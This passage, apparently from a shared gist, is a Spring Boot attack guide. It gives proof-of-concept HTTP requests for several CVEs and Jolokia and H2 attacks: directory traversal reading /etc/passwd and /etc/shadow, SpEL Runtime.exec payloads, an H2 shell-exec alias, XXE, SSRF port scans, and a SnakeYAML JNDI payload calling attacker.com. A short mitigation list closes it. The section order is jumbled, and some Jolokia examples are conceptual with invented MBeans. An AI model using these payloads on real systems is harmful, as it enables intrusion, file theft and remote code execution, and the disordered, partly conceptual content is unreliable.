  3. Observe Server Behavior: The server will attempt to connect to the specified internal URL. An attacker can monitor their own server logs if they point to an external IP, or observe changes in the target application if it interacts with the internal service.

7.9. CVE-2021-21234 (Spring Boot Actuator Logview Directory Traversal)

Description: A directory traversal vulnerability in the spring-boot-actuator-logview library that allows an attacker to access arbitrary files on the server.

Affected Versions: spring-boot-actuator-logview versions prior to 0.2.13.

PoC:

  1. Identify Vulnerable Endpoint: Look for applications using spring-boot-actuator-logview and exposing the /actuator/logview endpoint. 
    GET /actuator/logview HTTP/1.1
Host: example.com
    If the endpoint exists and returns a page, it's likely vulnerable.
  2. Craft Malicious Request: Send a GET request with ../ sequences in the filename parameter to traverse directories.
    • Example Request: 
      GET /actuator/logview?filename=../../../../../../etc/passwd HTTP/1.1
Host: example.com
      • Explanation: The ../../ sequences attempt to move up the directory tree. The number of ../../ needed depends on the application's deployment path. You can try different numbers of ../ to find the correct depth.
  3. Expected Response: If successful, the response body will contain the content of the /etc/passwd file (or any other file specified). You can try other sensitive files like /etc/shadow, /etc/hosts, or application configuration files.

7.10. CVE-2022-22947 (Spring Cloud Gateway Remote Code Execution)

Description: A remote code execution vulnerability in Spring Cloud Gateway that allows an attacker to execute arbitrary commands by manipulating routes.

Affected Versions: Spring Cloud Gateway versions 3.1.0, 3.0.0 to 3.0.6, and older unsupported versions.

PoC:

  1. Identify Vulnerable Endpoint: Look for applications using Spring Cloud Gateway and exposing the /actuator/gateway/routes endpoint. 
    GET /actuator/gateway/routes HTTP/1.1
Host: example.com
    If it returns a list of routes, it's likely vulnerable.
  2. Craft Malicious Request (Add Route): Send a POST request to /actuator/gateway/routes/{route_id} to add a new route with a malicious SpEL expression in a filter. The route_id can be anything unique. 
    POST /actuator/gateway/routes/pwned_route HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "id": "pwned_route",
  "uri": "http://localhost",
  "predicates": [
    "Path=/pwned"
  ],
  "filters": [
    "AddResponseHeader=X-Pwned, #{T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/pwned_gateway\")}"
  ]
}
    • Explanation: This adds a route that, when accessed via /pwned, will execute the touch /tmp/pwned_gateway command on the server. The AddResponseHeader filter is used to inject the SpEL expression.
  3. Refresh Routes: Send a POST request to /actuator/gateway/refresh to activate the new route. 
    POST /actuator/gateway/refresh HTTP/1.1
Host: example.com
  4. Trigger Route: Access the newly created route to trigger the SpEL expression. 
    GET /pwned HTTP/1.1
Host: example.com
  5. Verify Execution: Check for the existence of /tmp/pwned_gateway on the server.

7.11. CVE-2025-34026 (Versa Concerto Actuator Authentication Bypass)

Description: An authentication bypass vulnerability in Versa Concerto that allows an unauthenticated attacker to access Spring Boot Actuator endpoints.

Affected Versions: Specific versions of Versa Concerto (details would be in the CVE advisory).

PoC:

  1. Identify Vulnerable Application: Look for Versa Concerto deployments. This might involve identifying specific HTTP headers, unique error pages, or known URLs associated with Versa Concerto.
  2. Access Actuator Endpoints: Attempt to access common Actuator endpoints (e.g., /actuator/env, /actuator/beans, /actuator/mappings) without providing any authentication credentials.
    • Example Request (Information Disclosure): 
      GET /actuator/env HTTP/1.1
Host: versa-concerto.example.com
    • Expected Response: If vulnerable, the server will return the environment details without requiring authentication. This can lead to sensitive information disclosure.
  3. Exploitation: Once access is gained, other Actuator endpoints can be explored for further information disclosure or potential RCE if other vulnerabilities are present (e.g., Jolokia, Logback).

7.12. CVE-2025-46822 (Spring Boot Codebase Local File Inclusion)

Description: A local file inclusion (LFI) vulnerability in Spring Boot applications that allows an attacker to read arbitrary files from the server's filesystem.

Affected Versions: Specific versions of Spring Boot (details would be in the CVE advisory).

PoC:

  1. Identify Vulnerable Endpoint: Look for endpoints that handle file paths or resource loading. This could be a download function, an image loading endpoint, or any endpoint that takes a file path as a parameter.
    • Example vulnerable endpoint patterns: /download?file=, /view?path=, /api/v1/resources?name=.
  2. Craft Malicious Request: Send a request with a crafted file path to read sensitive files. Use ../ sequences to traverse directories.
    • Example Request (Download Functionality): 
      GET /download?file=../../../../../../etc/passwd HTTP/1.1
Host: example.com
    • Example Request (API Resource Loading): 
      GET /api/v1/resources?name=file:///etc/passwd HTTP/1.1
Host: example.com
      • Explanation: The file:/// protocol handler can sometimes be used to directly access local files if the application processes URLs in this manner.
  3. Expected Response: If vulnerable, the server will return the content of the /etc/passwd file (or the specified file). Look for the file content in the HTTP response body.

7.13. Jolokia Refinements (LFI, XXE, H2 DB RCE)

  • Remote Code Execution (RCE) via createMBean or registerMBean: If Jolokia exposes operations to create or register MBeans, an attacker might be able to instantiate malicious classes or register MBeans that can execute arbitrary code.

    • PoC:
      1. Identify MBean Creation/Registration Operations: Look for operations like createMBean or registerMBean in the Jolokia MBean list (/actuator/jolokia/list).
      2. Craft Jolokia Request: Send a POST request to the Jolokia endpoint to invoke these operations with a malicious class name and arguments.
        • Example (Conceptual - creating a malicious MBean): 
          POST /actuator/jolokia HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "mbean": "java.lang:type=MemoryPool,name=Code Cache",
  "operation": "createMBean",
  "arguments": [
    "com.example.MaliciousClass",
    "com.example:type=Malicious"
  ]
}
        • Explanation: This attempts to create an instance of com.example.MaliciousClass (which would contain the RCE payload) and register it as an MBean. The MaliciousClass would need to be present on the classpath or loaded via other means (e.g., JNDI injection).
      3. Trigger RCE: If successful, the malicious class would be instantiated, leading to RCE.

  • Local File Inclusion (LFI): If an MBean exposes a method that takes a file path as an argument and reads its content, an attacker could use it to read arbitrary files.

    • PoC:
      1. Identify MBean: Discover MBeans that expose file reading capabilities. This often involves inspecting the /actuator/jolokia/list endpoint to find MBeans and their operations. Look for MBeans related to configuration, logging, or file management.
      2. Craft Jolokia Request: Send a POST request to the Jolokia endpoint to invoke the MBean method with a malicious file path.
        • Example (Conceptual - assuming a readLogFile operation on a LogManager MBean): 
          POST /actuator/jolokia HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "mbean": "com.example.logging:type=LogManager",
  "operation": "readLogFile",
  "arguments": [
    "/etc/passwd"
  ]
}
        • Example (Conceptual - invoking a generic read operation on a FileHandler MBean): 
          POST /actuator/jolokia HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "mbean": "java.util.logging:type=FileHandler,name=myFileHandler",
  "operation": "read",
  "arguments": [
    "/etc/shadow"
  ]
}
      3. Expected Response: The response would contain the content of the specified file.

  • XML External Entity (XXE): If an MBean processes XML input and external entities are not properly disabled, an attacker could craft an XXE payload to read local files or perform SSRF.

    • PoC:
      1. Identify MBean: Discover MBeans that accept XML input (e.g., for configuration, data import).
      2. Craft Jolokia Request with XXE Payload: Send a POST request to the Jolokia endpoint with an XXE payload in the XML argument.
        • Example (Conceptual - invoking a processXml operation on an XmlProcessor MBean): 
          POST /actuator/jolokia HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "mbean": "com.example.MyXmlProcessor:type=XmlService",
  "operation": "processXml",
  "arguments": [
    "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>"
  ]
}
        • Explanation: This payload attempts to read /etc/passwd using an external entity. The response might contain the file content or an error message indicating successful XXE.

  • H2 Database RCE: If the application uses an embedded H2 database and its console is exposed via Jolokia, an attacker might be able to execute arbitrary commands.

    • PoC:
      1. Identify H2 Console MBean: Look for MBeans related to the H2 database console (e.g., org.h2.server.web.WebServer).
      2. Access H2 Console via Jolokia: Invoke the MBean operation to start or access the H2 console. This might involve setting properties or invoking methods to enable remote access.
        • Conceptual Example (starting H2 console): 
          POST /actuator/jolokia HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "mbean": "org.h2.server.web:type=WebServer",
  "operation": "start",
  "arguments": []
}
      3. Execute Commands: Once the H2 console is accessible (potentially through a proxy or direct connection), use its SQL interface to execute commands. H2 allows execution of Java code via CREATE ALIAS or CALL statements.
        • Example SQL (within H2 console): 
          CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }';
CALL EXEC('touch /tmp/pwned_h2');
        • Explanation: This creates an alias EXEC that can run shell commands, and then calls it to create a file. This leads to RCE.

7.14. CVE-2017-8046 (Spring Data REST Remote Code Execution)

7.15. CVE-2021-22053 (Spring Cloud Netflix Hystrix Dashboard Remote Code Execution)

Description: A remote code execution vulnerability in Spring Cloud Netflix Hystrix Dashboard prior to version 2.2.10. Applications using both spring-cloud-netflix-hystrix-dashboard and spring-boot-starter-thymeleaf are susceptible to code execution via SpEL expressions in the dashboard.

Affected Versions: Spring Cloud Netflix Hystrix Dashboard prior to 2.2.10.

PoC:

  1. Identify Vulnerable Application: Look for applications using Spring Cloud Netflix Hystrix Dashboard and spring-boot-starter-thymeleaf. The Hystrix Dashboard is typically exposed at /hystrix or /hystrix-dashboard.
  2. Craft Malicious Request: The vulnerability lies in how certain parameters are evaluated as SpEL expressions. A common vector involves injecting a SpEL payload into a parameter that is processed by Thymeleaf.
    • Example Request (Conceptual): 
      GET /hystrix/monitor?stream=http://example.com/stream?url=#{T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned_hystrix_rce")}

Host: example.com
      • Explanation: This attempts to inject a SpEL expression into the stream parameter. The SpEL expression T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned_hystrix_rce") will execute the touch /tmp/pwned_hystrix_rce command on the server. The exact parameter and injection point might vary.
  3. Verify Execution: Check for the existence of /tmp/pwned_hystrix_rce on the server.

7.16. CVE-2020-5412 (Spring Cloud Netflix Hystrix Dashboard Server-Side Request Forgery)

Description: A Server-Side Request Forgery (SSRF) vulnerability in Spring Cloud Netflix Hystrix Dashboard. This allows an attacker to make the server perform requests to arbitrary URLs, potentially leading to information disclosure from internal networks or bypassing firewalls.

Affected Versions: Spring Cloud Netflix Hystrix Dashboard versions 2.2.0 to 2.2.1, 2.1.0 to 2.1.6.

PoC:

  1. Identify Vulnerable Endpoint: Look for applications using Spring Cloud Netflix Hystrix Dashboard.
  2. Craft Malicious Request: The Hystrix Dashboard often allows specifying a stream URL. This can be manipulated to point to internal resources.
    • Example Request (Internal IP Scan): 
      GET /hystrix/monitor?stream=http://192.168.1.1:8080/admin HTTP/1.1
Host: example.com
      • Explanation: This attempts to make the Hystrix Dashboard request the /admin endpoint on an internal IP address (192.168.1.1). The attacker would observe the response or any side effects to determine if the internal service is accessible.
    • Example Request (Port Scan): 
      GET /hystrix/monitor?stream=http://localhost:8080 HTTP/1.1
Host: example.com
      • Explanation: This attempts to check if port 8080 is open on the localhost. Different ports can be tried to map open ports on the internal network.
  3. Observe Server Behavior: The server will attempt to connect to the specified internal URL. An attacker can monitor their own server logs if they point to an external IP, or observe changes in the target application if it interacts with the internal service. The response from the internal service might be reflected in the Hystrix Dashboard output, providing valuable information.

Description: A remote code execution vulnerability in Spring Data REST that allows an unauthenticated attacker to execute arbitrary commands via a specially crafted PATCH request.

Affected Versions: Spring Data REST versions 2.6.9 (Ingalls SR9), 3.0 RC3, and older unsupported versions.

PoC:

  1. Identify Vulnerable Endpoint: Look for applications using Spring Data REST, typically exposing REST endpoints for repositories (e.g., /users, /products).
  2. Craft Malicious PATCH Request: Send a PATCH request to a vulnerable endpoint with a specially crafted JSON payload containing a SpEL expression.
    • Example Request: 
      PATCH /persons/1 HTTP/1.1
Host: example.com
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/name",
    "value": "#{T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/pwned_data_rest\")}"
  }
]
      • Explanation: This PATCH request attempts to update the name field of a person object with a SpEL expression that executes touch /tmp/pwned_data_rest. The application/json-patch+json content type is crucial for this exploit.
  3. Trigger RCE: The application processes the PATCH request, evaluates the SpEL expression, and executes the command.
  4. Verify Execution: Check for the existence of /tmp/pwned_data_rest on the server.

7.17. CVE-2022-1471 (SnakeYAML Deserialization Vulnerability)

Description: A deserialization vulnerability in the SnakeYAML library (used by Spring Boot for YAML configuration) that can lead to arbitrary code execution. This vulnerability arises when an application deserializes untrusted YAML input without proper validation.

Affected Versions: SnakeYAML versions prior to 1.31.

PoC:

  1. Identify Vulnerable Input: Look for endpoints that accept YAML input, especially if they are processing untrusted data. This could be configuration endpoints, data import functionalities, or any API that consumes YAML.
  2. Set up Malicious LDAP/HTTP Server: Similar to Log4Shell, an attacker needs to set up an LDAP server (e.g., using marshalsec) that serves a malicious Java class.
  3. Craft Malicious YAML Payload: Create a YAML payload that triggers a JNDI lookup to the attacker's server when deserialized.
    • Example YAML Payload: 
      !!javax.naming.InitialContext ["ldap://attacker.com:1389/Exploit"]
      • Explanation: This YAML payload, when deserialized by a vulnerable SnakeYAML version, will attempt to perform a JNDI lookup to the attacker's LDAP server, leading to the download and execution of Exploit.java.
  4. Send Malicious Request: Send the YAML payload to the vulnerable endpoint. This might be in a request body with Content-Type: application/yaml or as a parameter.
    • Example Request (Conceptual): 
      POST /api/v1/config HTTP/1.1
Host: example.com
Content-Type: application/yaml

!!javax.naming.InitialContext ["ldap://attacker.com:1389/Exploit"]
  5. Trigger RCE: The application deserializes the YAML, triggers the JNDI lookup, and executes the malicious Java class, leading to RCE.

7.18. General Considerations for Spring Boot 1.x

Spring Boot 1.x reached its End-of-Life (EOL) on August 6, 2019. This means that applications built with Spring Boot 1.x no longer receive official security updates, including critical patches for newly discovered vulnerabilities. This significantly increases the risk of exploitation.

When encountering a Spring Boot 1.x application, it's important to consider the following:

  • Unpatched Vulnerabilities: Any new vulnerabilities discovered in the underlying Spring Framework, Spring Security, or other dependencies used by Spring Boot 1.x will not be patched. This leaves applications open to attacks that exploit these unpatched flaws.
  • Insecure Defaults: Older versions might have less secure default configurations for Actuator endpoints or other components. Always assume a higher risk of exposed sensitive information.
  • General Web Vulnerabilities: Applications are still susceptible to common web vulnerabilities if not properly mitigated in the application code. These include:
    • Injection Attacks: SQL, NoSQL, Command Injection.
    • Cross-Site Scripting (XSS).
    • Path Traversal.
    • Insecure Deserialization.
  • Applicability of Newer CVEs: Many vulnerabilities discovered in later versions of Spring Boot or its components might also affect older, unsupported versions. Always check the affected versions in CVE advisories carefully.
  • Spring4Shell (CVE-2022-22965) Potential Impact: While primarily affecting Spring Framework 5.3.0 to 5.3.17 and 5.2.0 to 5.2.19, and older unsupported versions, this critical RCE vulnerability could potentially impact Spring Boot 1.x applications if they are deployed as traditional WAR files on a vulnerable Servlet container (like Apache Tomcat 9.0.61 and earlier) and run on JDK 9+.

Therefore, when assessing Spring Boot 1.x applications, a comprehensive approach is necessary, combining the techniques and PoCs outlined in this document with a strong understanding of general web application security principles.

8. Mitigation

To prevent these attacks, it is crucial to:

  • Secure Actuator Endpoints: Always secure Actuator endpoints with proper authentication and authorization using Spring Security.
  • Disable Unused Endpoints: Only enable the Actuator endpoints that are strictly necessary.
  • Update Dependencies: Regularly update Spring Boot and all its dependencies to patch known vulnerabilities.
  • Secure Reverse Proxies: Ensure reverse proxy configurations are secure and do not inadvertently expose internal endpoints.
  • Monitor and Audit: Continuously monitor access logs for suspicious activity and audit configurations regularly.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment